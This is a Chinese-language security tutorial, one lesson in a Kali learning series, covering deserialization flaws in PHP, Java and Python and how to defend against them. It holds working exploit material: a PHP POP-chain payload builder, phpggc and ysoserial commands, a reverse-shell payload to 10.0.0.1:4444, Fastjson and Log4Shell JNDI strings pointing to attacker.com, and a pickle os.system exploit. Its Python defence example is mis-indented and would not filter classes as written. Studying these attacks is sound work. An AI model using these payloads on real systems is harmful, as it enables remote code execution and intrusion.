📚 网络安全 Kali 学习系列
模块 0 基础阶段 ✅ 已完成
01-18 Linux系统 → 计算机网络 → 密码学 → Python/Bash/PHP/JS → Docker
模块 1 信息收集与侦察 ✅ 已完成
19 nmap 主动扫描 → 20 masscan 高速扫描 → 21 指纹识别与目录爆破 → 22 漏洞扫描与 Web 安全基础
模块 2 Web 应用渗透(攻击技术阶段)
✓ 23 sqlmap 注入与 Burp 抓包
✓ 24 XSS 跨站脚本攻击
✓ 25 CSRF 与文件上传漏洞
✓ 26 命令执行与代码执行漏洞
✓ 27 文件包含与 SSRF 漏洞
28 反序列化漏洞(当前篇)
29 XXE 外部实体注入(预告)
模块 3-5 共 XX 篇,后续持续更新

反序列化漏洞:从 PHP POP 链到 Java 反序列化攻击

模块 2 Web 应用渗透 · 高级篇 · Web 安全中最考验功底的漏洞类型
读完本篇你将能:理解序列化与反序列化的本质——前者把对象"存档"为可传输的字符串,后者把字符串"读档"还原为对象。掌握 PHP 反序列化漏洞的利用核心:魔术方法(__wakeup、__destruct、__toString)如何被自动触发,以及 POP 链(Property Oriented Programming)的构造思路——像古代机关术一样,让一个方法的调用牵动下一个方法,形成连锁反应直至 RCE。了解 Java 反序列化(Apache Commons Collections、Fastjson autotype)和 Python pickle 反序列化的攻击面。学会三语言的防御手段:禁用危险函数、白名单校验、使用安全替代方案。
📑 本文目录
01序列化与反序列化:对象的"存档"与"读档"
02PHP 反序列化漏洞:unserialize() 的陷阱
03PHP 魔术方法与 POP 链构造
04Java 反序列化:从 Commons Collections 到 Fastjson
05Python pickle 反序列化
06防御与修复:阻断攻击链
07伦理与法律边界 + 分级练习

01 序列化与反序列化:对象的"存档"与"读档"

玩过单机游戏的人都知道"存档"——把当前角色等级、装备、位置等状态写入文件,下次打开游戏时"读档"恢复。序列化(Serialization)就是这个概念在编程世界的翻版:把内存中的对象转换为可存储、可传输的字符串或字节流。反序列化(Deserialization)则是逆向过程——从字符串还原出原始对象。

序列化无处不在:Session 存储(PHP 把用户会话对象序列化后写入文件)、缓存系统(Redis 把对象序列化后存储)、RPC 通信(Java RMI 把对象序列化后在网络传输)、API 数据交换(JSON 本质就是一种轻量序列化格式)。只要数据需要在"对象"和"可传输格式"之间转换,就离不开序列化。

问题出在哪里?当反序列化的数据来源不受信任——比如用户通过 Cookie、POST 参数、API 请求体传入一段序列化字符串,服务器直接 unserialize() 或 pickle.loads() 还原为对象——攻击者就可以构造恶意的序列化数据,在反序列化过程中触发自动执行的代码。

下面用三种语言演示最基本的序列化操作,建立直观认知:

PHP 序列化示例
// 定义一个简单的用户类
class User {
    public $name;
    public $role;
    function __construct($name, $role) {
        $this->name = $name;
        $this->role = $role;
    }
}
 
$user = new User("alice", "admin");
 
// 序列化:对象 → 字符串
$data = serialize($user);
// 输出: O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:5:"admin";}
 
// 反序列化:字符串 → 对象
$obj = unserialize($data);
echo $obj->name; // 输出: alice

看序列化字符串 O:4:"User":2:{s:4:"name";s:5:"alice";s:4:"role";s:5:"admin";} 的格式:O 表示对象,4 是类名长度,"User" 是类名,2 是属性个数,后面跟键值对。这个格式完全透明、可读、可手动构造——这正是漏洞的根源。攻击者可以把 role 从 "admin" 改成 "superadmin"实现越权,或者更危险地,构造嵌套对象触发魔术方法链。

下面是三种语言序列化格式的对比:

语言 序列化函数 反序列化函数 格式特征
PHP serialize() unserialize() 明文,类型字母开头
O=对象 a=数组 s=字符串 i=整数
Java ObjectOutputStream ObjectInputStream 二进制字节流
以 ACED 0005 魔数开头
Python pickle.dumps() pickle.loads() 二进制 opcode 序列
支持任意代码执行

三种语言的反序列化漏洞原理相同:反序列化过程中会自动调用对象的特殊方法(PHP 叫魔术方法、Java 叫 readObject/readResolve、Python 叫 __reduce__)。如果攻击者能控制序列化数据,就能让这些特殊方法在"读档"时执行恶意代码。区别在于利用难度和生态——PHP 的序列化格式最透明、最容易手工构造;Java 的 gadget 链最复杂、危害最大;Python 的 pickle 则在设计之初就"承认"自己是不安全的。

💡 小贴士
JSON 也是一种序列化格式,但 JSON 反序列化(json_decode / Jackson / Gson)通常只还原数据结构(数组、字典、字符串),不还原"对象"也不会触发魔术方法。所以 JSON 反序列化一般是安全的——除非框架做了额外的"JSON → 对象"绑定(如 Jackson 的 enableDefaultTyping、Fastjson 的 autotype),把 JSON 中的类型信息直接实例化为 Java 类,这才会重新引入反序列化漏洞。

02 PHP 反序列化漏洞:unserialize() 的陷阱

你已经理解了序列化的基本概念——对象"存档"为字符串,字符串"读档"还原为对象。现在来看这个"读档"过程如何被攻击者利用。最典型的场景是:PHP 应用把用户对象序列化后存入 Cookie,下次请求时从 Cookie 中取出并反序列化还原。如果攻击者篡改 Cookie 中的序列化字符串,unserialize() 会忠实地将其还原——包括攻击者注入的恶意属性和嵌套对象。

下面是一个存在反序列化漏洞的真实代码模式:

PHP 漏洞代码模式
// config.php — 用户会话管理
class UserSession {
    public $username;
    public $is_admin = false;
    public $last_login;
 
    function __construct($u) {
        $this->username = $u;
    }
}
 
// login.php — 登录时序列化用户对象存入 Cookie
$session = new UserSession($_POST['username']);
setcookie('session', serialize($session));
 
// dashboard.php — 从 Cookie 反序列化还原用户对象
$user = unserialize($_COOKIE['session']);
 
// 根据 is_admin 决定是否显示管理后台
if ($user->is_admin) {
    include 'admin_panel.php';
}

漏洞在 unserialize($_COOKIE['session']) 这一行——Cookie 完全由用户控制。正常用户的 Cookie 值类似:

正常 Cookie 值
O:11:"UserSession":3:{s:8:"username";s:5:"alice";s:8:"is_admin";b:0;s:10:"last_login";N;}

攻击者只需把 b:0(false)改成 b:1(true),就能以管理员身份访问后台:

篡改后的 Cookie 值
O:11:"UserSession":3:{s:8:"username";s:5:"alice";s:8:"is_admin";b:1;s:10:"last_login";N;}
 
// is_admin 从 b:0(false) 改为 b:1(true) → 直接获取管理权限

这只是一个简单的越权场景。真正的危险在于:PHP 在反序列化时,如果序列化数据中包含对象,且该对象的类定义了某些"魔术方法",这些方法会被自动调用——无需任何显式代码执行。这就是从"篡改属性"升级到"远程代码执行"的关键跳板,下一节详细展开。

⚠️ 常见错误
$data = unserialize($_GET['data']); — 直接反序列化用户输入,无任何校验
✓ 正确:避免使用 unserialize 处理用户输入,改用 JSON:json_decode($_GET['data'], true) 只还原数组,不触发魔术方法

03 PHP 魔术方法与 POP 链构造

上一节你学会了篡改序列化数据中的属性值实现越权。但反序列化漏洞的真正威力不在于改属性——而在于利用 PHP 的魔术方法(Magic Methods)实现任意代码执行。魔术方法是 PHP 预定义的、在特定时机自动触发的方法。你不需要显式调用它们,PHP 引擎会在对象的生命周期中自动激活。这就像古代机关术中的暗榫——表面上看是普通的木箱,一旦以特定方式打开,内部机关就会连锁启动。

以下是反序列化利用中最关键的魔术方法:

魔术方法 触发时机 在反序列化中的角色
__wakeup() unserialize() 还原对象后 反序列化的"入口"方法
最先被自动调用
__destruct() 对象被销毁时(脚本结束、unset) 反序列化的"出口"方法
对象销毁时必定触发
__toString() 对象被当作字符串使用时 POP 链中的"中转站"
echo / 字符串拼接时触发
__call() 调用不存在的方法时 POP 链中的"代理器"
可转向任意方法
__get() 访问不存在的属性时 POP 链中的"跳板"
可触发其他对象的方法
__invoke() 对象被当作函数调用时 POP 链的"终点"
通常在这里执行 system()

关键洞察:反序列化时 __wakeup() 会被调用,脚本结束时 __destruct() 会被调用。如果这两个方法内部调用了其他对象的某些操作,而那些操作又触发了 __toString() 或 __call(),就形成了POP 链(Property Oriented Programming Chain)——通过控制对象属性来串联多个魔术方法,最终触达执行危险函数的终点。

下面用一个完整的例子演示 POP 链的构造过程。假设目标应用中有以下三个类(通常来自不同文件、不同模块,攻击者无法直接修改代码,但可以利用它们的魔术方法形成链式调用):

POP 链示例代码
// 类 A:入口类 — __destruct 触发链的起点
class LogFile {
    public $content;
 
    function __destruct() {
        // 对象销毁时把 $content 写入日志
        // 如果 $content 是对象,会触发其 __toString()
        echo "Writing log: " . $this->content;
    }
}
 
// 类 B:中转类 — __toString 触发 __call
class Formatter {
    public $adapter;
 
    function __toString() {
        // 调用 $adapter 的 format() 方法
        // 如果 $adapter 没有 format(),触发 __call()
        return $this->adapter->format();
    }
}
 
// 类 C:终点类 — __invoke 执行系统命令
class CommandRunner {
    public $cmd;
 
    function __call($method, $args) {
        // 把对象当函数调用 → 触发 __invoke
        $runner = $this->cmd;
        return $runner();
    }
 
    function __invoke() {
        // 终点:执行系统命令
        system($this->cmd);
    }
}

三条类定义、三个魔术方法,形成了一条完整的调用链。攻击者需要构造序列化数据,让这些方法依次触发:

__destruct()
LogFile
→
echo $content
触发 __toString
→
__toString()
Formatter
→
$adapter->format()
触发 __call
→
__invoke()
system($cmd)

构造链路:LogFile 的 $content 属性设为 Formatter 对象(触发 __toString),Formatter 的 $adapter 属性设为 CommandRunner 对象(format() 不存在触发 __call),CommandRunner 的 $cmd 设为系统命令。最终 system("id") 被执行。

用 PHP 脚本构造这个 payload:

POP 链 Payload 构造脚本
// 构造 POP 链 payload
$runner = new CommandRunner();
$runner->cmd = "id";
 
$fmt = new Formatter();
$fmt->adapter = $runner;
 
$log = new LogFile();
$log->content = $fmt;
 
// 序列化后得到 payload 字符串
echo serialize($log);
 
// 将此 payload 通过 Cookie/POST 参数提交给漏洞接口
// 脚本结束时 __destruct 自动触发 → 整条链执行 → system("id")

实际审计中,不需要从零手写 POP 链。社区工具 phpggc(PHP Generic Gadget Chain)收录了主流 PHP 框架(Laravel、Symfony、Monolog、WordPress 等)的现成 POP 链,可以直接生成 payload:

phpggc 使用示例
# 克隆 phpggc 仓库
git clone https://github.com/ambionics/phpggc.git
cd phpggc
 
# 列出所有可用 gadget chain
php phpggc.php --list
 
# 生成 Monolog/RCE1 链 payload(执行 id 命令)
php phpggc.php Monolog/RCE1 system id
 
# 输出可直接使用的序列化 payload
O:31:"Monolog\Handler\...":...:{...}
💡 小贴士
PHP POP 链审计的核心技巧是"逆向搜索"。不要从入口(__wakeup/__destruct)正向推导——那太难了。正确方法是先搜索终点:全局搜索 system(、eval(、file_put_contents( 等危险函数,看哪个类的魔术方法里调用了它们。找到终点后,逆向回溯:谁调用了这个类?谁的 __toString 会被触发?一步步倒推到 __destruct 或 __wakeup,整条链就清晰了。

04 Java 反序列化:从 Commons Collections 到 Fastjson

PHP 的 POP 链已经够复杂了,但 Java 反序列化才是这个领域的"核武器"。2015 年 FoxGlove Security 团队披露的论文《Apache Commons Collections Deserialization Vulnerability》直接引爆了整个 Java 生态——他们证明了几乎所有使用 Apache Commons Collections 库的 Java 应用都存在 RCE 漏洞,影响范围覆盖 WebLogic、Jenkins、WebSphere、JBoss 等主流中间件。

Java 反序列化漏洞的核心机制与 PHP 类似:ObjectInputStream.readObject() 还原对象时自动调用类的 readObject() 方法。如果该方法内部调用了链式操作(如 LazyMap 的 transform 链),就形成了 Java 版的"POP 链"——术语叫 Gadget Chain。

Java 反序列化与 PHP 的关键区别:

维度 PHP Java
序列化格式 明文,可手工构造 二进制字节流
触发入口 __wakeup / __destruct readObject / readResolve
链类型 POP 链(魔术方法串联) Gadget 链(方法调用串联)
影响范围 单应用 跨应用(库级污染)
利用工具 phpggc ysoserial

Java 反序列化影响范围更大的原因是:Gadget 链不依赖目标应用自身代码,而是利用 Java 生态中广泛使用的第三方库(Apache Commons Collections、Spring Framework、Groovy 等)中的类来构造链。只要应用引入了这些库,即使应用自身没有反序列化入口,也可能被 RCE——这就是"库级污染"的恐怖之处。

ysoserial 是 Java 反序列化利用的标准工具,内置了数十条 gadget chain:

ysoserial 使用示例
# 下载 ysoserial(搜索 ysoserial-all.jar 获取最新版)
 
# 生成 CommonsCollections1 链 payload(执行 touch /tmp/pwned)
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > payload.bin
 
# 将 payload.bin 作为二进制数据提交给漏洞接口
# 常见入口:WebLogic T3 协议、Jenkins CLI、JMX、RMI
 
# 生成反向 shell payload(使用 bash 反弹)
java -jar ysoserial.jar CommonsCollections5 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' > shell.bin

除了传统二进制反序列化,Java 生态还有另一种高危变体:Fastjson autotype。Fastjson 是阿里巴巴开源的 JSON 库,其 autotype 功能允许 JSON 数据中通过 @type 字段指定要反序列化的 Java 类。这意味着攻击者可以在 JSON 中直接指定一个危险的 Java 类,Fastjson 会实例化并调用其 setter 方法——等同于"JSON 版的反序列化漏洞"。

Fastjson autotype 攻击示例
// 正常 JSON 请求
{"name":"alice","age":25}
 
// 恶意 JSON — 通过 @type 指定 JdbcRowSetImpl 类
// 触发 JNDI 注入 → 连接攻击者的 LDAP/RMI 服务
{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/Exploit",
  "autoCommit": true
}
 
// Fastjson 实例化 JdbcRowSetImpl,调用 setDataSourceName 和 setAutoCommit
// → JNDI 查询 attacker.com → 加载恶意 Java 类 → RCE

值得特别提及的是 2021 年底的 Log4Shell(CVE-2021-44228)漏洞——虽然它本质上不是传统反序列化漏洞,但其利用机制(JNDI 注入)与 Fastjson autotype 攻击如出一辙:攻击者在日志消息中嵌入 ${jndi:ldap://attacker.com/Exploit},Log4j2 解析时发起 JNDI 查询,从攻击者控制的 LDAP 服务加载恶意 Java 类。这个漏洞影响了全球数百万 Java 应用,成为 2021 年最严重的网络安全事件之一。

⚠️ 常见错误
ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = ois.readObject(); — 直接反序列化 HTTP 请求体
✓ 正确:使用 JSON 替代 Java 序列化;若必须使用,配合 ObjectInputFilter 白名单:ois.setObjectInputFilter(filterInfo -> filterInfo.serialClass() == String.class ? ObjectInputFilter.Status.ALLOWED : ObjectInputFilter.Status.REJECTED)

05 Python pickle 反序列化

前面两节覆盖了 PHP 和 Java 的反序列化漏洞,现在来看 Python。Python 的 pickle 模块是标准库的一部分,用于序列化和反序列化 Python 对象。与 PHP 和 Java 不同,pickle 在设计之初就"坦白"自己是不安全的——Python 官方文档明确警告:不要 pickle 反序列化不受信任的数据。

pickle 的危险性在于其底层实现:pickle 数据是一系列 opcode(操作码),反序列化时按顺序执行这些 opcode。其中 REDUCE 操作码直接调用 callable() 并传入参数——这意味着 pickle 反序列化本质上就是执行任意代码。

利用方式比 PHP 和 Java 都简单——不需要找 gadget chain,直接定义 __reduce__ 方法即可:

Python pickle 漏洞利用
# 漏洞代码 — 从用户请求中直接 pickle 反序列化
import pickle
from flask import Flask, request
 
app = Flask(__name__)
 
@app.route('/load', methods=['POST'])
def load_data():
    # 直接反序列化用户 POST 的二进制数据 → RCE
    data = pickle.loads(request.data)
    return f"Loaded: {data}"
 
# 攻击者构造恶意 pickle 数据
import os, pickle
 
class Exploit:
    def __reduce__(self):
        # pickle 反序列化时自动调用 os.system("id")
        return (os.system, ('id',))
 
# 序列化恶意对象 → 发送给漏洞接口
payload = pickle.dumps(Exploit())
# requests.post('http://target:5000/load', data=payload)

__reduce__ 方法告诉 pickle:"序列化这个对象时,请存储一个可调用对象及其参数,反序列化时直接调用它"。攻击者把 os.system 和 'id' 作为参数存入 pickle 数据,目标服务器反序列化时就执行了 os.system('id')。不需要找 gadget chain,不需要利用第三方库——pickle 本身就是 gadget。

Python 反序列化漏洞在机器学习/AI 领域尤其常见:许多 ML 模型用 pickle 保存/加载(torch.save/load、sklearn joblib)。如果有人下载了恶意模型文件并加载,就直接执行了攻击者嵌入的代码。这种攻击向量叫 Model Supply Chain Attack(模型供应链攻击),是 AI 安全领域的研究热点。

💡 小贴士
Python 的 pickletools.dis() 命令可以反汇编 pickle 数据,查看其中的 opcode 序列。审计 Python 应用时,如果发现 pickle.loads() 或 yaml.load()(不带 SafeLoader 参数)的调用参数来自用户输入,就是高危漏洞。PyYAML 的 yaml.load() 也存在类似问题——默认允许任意 Python 对象实例化,必须使用 yaml.safe_load() 替代。

06 防御与修复:阻断攻击链

前三节你了解了 PHP、Java、Python 三种语言的反序列化漏洞利用方式。本节总结防御策略——核心思路是切断攻击链的三个环节:输入源、反序列化操作、代码执行。

防御体系对比:

防御层级 PHP 方案 Java 方案 Python 方案
替代方案 json_encode / json_decode Jackson / Gson(不启用 autotype) JSON / msgpack / safepickle
白名单 unserialize allowed_classes 白名单 ObjectInputFilter(JEP 290) 自定义 Unpickler 限制类
禁用危险函数 disable_functions 禁用 eval/system 等 SecurityManager 限制权限 ast.literal_eval 替代 eval
监控检测 WAF 规则匹配序列化特征 RASP 运行时拦截 静态扫描 pickle.loads 调用链

PHP 7.0+ 提供了 allowed_classes 参数,可以限制反序列化时允许实例化的类:

PHP 防御代码
// 方案一:禁用所有类实例化(只还原基础类型)
$data = unserialize($input, ['allowed_classes' => false]);
 
// 方案二:白名单允许特定类
$data = unserialize($input, ['allowed_classes' => ['UserSession']]);
 
// 方案三(最佳):直接改用 JSON
$data = json_decode($input, true); // 只返回数组,不实例化对象

Java 9+ 引入了 ObjectInputFilter(JEP 290),可以在反序列化时过滤类:

Java 防御代码
// 设置白名单过滤器,只允许 String 类被反序列化
ObjectInputStream ois = new ObjectInputStream(in);
ois.setObjectInputFilter(
    info -> info.serialClass() == String.class
        ? ObjectInputFilter.Status.ALLOWED
        : ObjectInputFilter.Status.REJECTED
);

Python 可以通过自定义 Unpickler 限制可加载的类:

Python 防御代码
import pickle
 
class SafeUnpickler(pickle.Unpickler):
    # 白名单,只允许基础类型
    ALLOWED = {'builtins': {'list', 'dict', 'str', 'int'}}
 
def find_class(self, module, name):
    if module in self.ALLOWED and name in self.ALLOWED[module]:
        return super().find_class(module, name)
    raise pickle.UnpicklingError(f"Blocked: {module}.{name}")
 
# 使用安全 unpickler 替代 pickle.loads
data = SafeUnpickler(input_bytes).load()

防御的根本原则只有一条:永远不要反序列化不受信任的数据。如果必须处理外部数据,使用 JSON 等只还原数据结构、不实例化对象的格式。对于内部数据交换,即使信任来源也应实施白名单过滤——因为"信任来源"可能被攻破(如 Session 文件被篡改、Redis 被入侵)。

07 伦理与法律边界 + 分级练习

⚖️ 伦理与法律边界
反序列化漏洞利用在本系列所有攻击技术中危害等级最高——一个成功的反序列化 RCE 攻击可以直接获取服务器完全控制权。本节所有技术演示均限于授权渗透测试环境和本地靶场(DVWA、WebGoat、PortSwigger Web Academy)。在真实系统中构造反序列化攻击 payload 并发送,无论是否成功,都可能构成"非法侵入计算机信息系统罪"(《刑法》第 285 条)。phpggc 和 ysoserial 是双用途安全工具,在授权测试中使用是合法的,但用它们攻击未授权目标属于犯罪行为。Python 恶意 pickle 文件同样如此——分享包含恶意 __reduce__ 的模型文件给他人加载,等同于投放恶意代码。
✏️ 动手练习
🟢 基础验证
在本地 PHP 环境中定义一个包含 __wakeup() 和 __destruct() 的简单类(如 class Test { function __wakeup() { echo "wakeup!"; } function __destruct() { echo "destruct!"; } }),serialize() 一个实例,然后用 unserialize() 还原,观察两个魔术方法的调用顺序和时机。提示:__wakeup 在 unserialize 时立即触发,__destruct 在脚本结束或 unset 时触发。
🟡 组合应用
编写一个包含三个类的 PHP 脚本:类 A 的 __destruct 中 echo 了 $this->data 属性,类 B 的 __toString 中访问了 $this->obj->run(),类 C 的 __call 中执行了 system($this->cmd)。手工构造序列化字符串,让反序列化后自动执行 system('whoami')。参考本章第三节的 POP 链构造过程。
🔴 开放挑战
在 PortSwigger Web Academy 中完成 "Deserialization” 系列实验室(搜索 "PortSwigger deserialization labs")。该系列包含 8 个实验室,从基础的 PHP 对象修改到 Java Apache Commons gadget 链利用,逐步递进。完成后思考一个问题:为什么 JSON API 通常不需要担心反序列化漏洞,但使用了 Jackson enableDefaultTyping 或 Fastjson autotype 的 JSON API 会重新变得危险?提示:关注"谁决定要实例化哪个类"这个问题。
📖 知识回顾
序列化/反序列化 PHP unserialize() 魔术方法 POP 链 phpggc Java Gadget 链 ysoserial Fastjson autotype Log4Shell pickle __reduce__ allowed_classes 白名单
下篇预告
29 XXE 外部实体注入:XML 解析的安全陷阱
将学习 XML 外部实体(XXE)注入的原理:当 XML 解析器处理外部实体引用时,攻击者可以通过构造恶意 DTD 读取服务器文件、发起 SSRF 请求甚至 DoS。XXE 与 SSRF 有密切联系,本篇的 SSRF 知识将在 XXE 中得到延伸应用。
关注公众号获取更多安全学习内容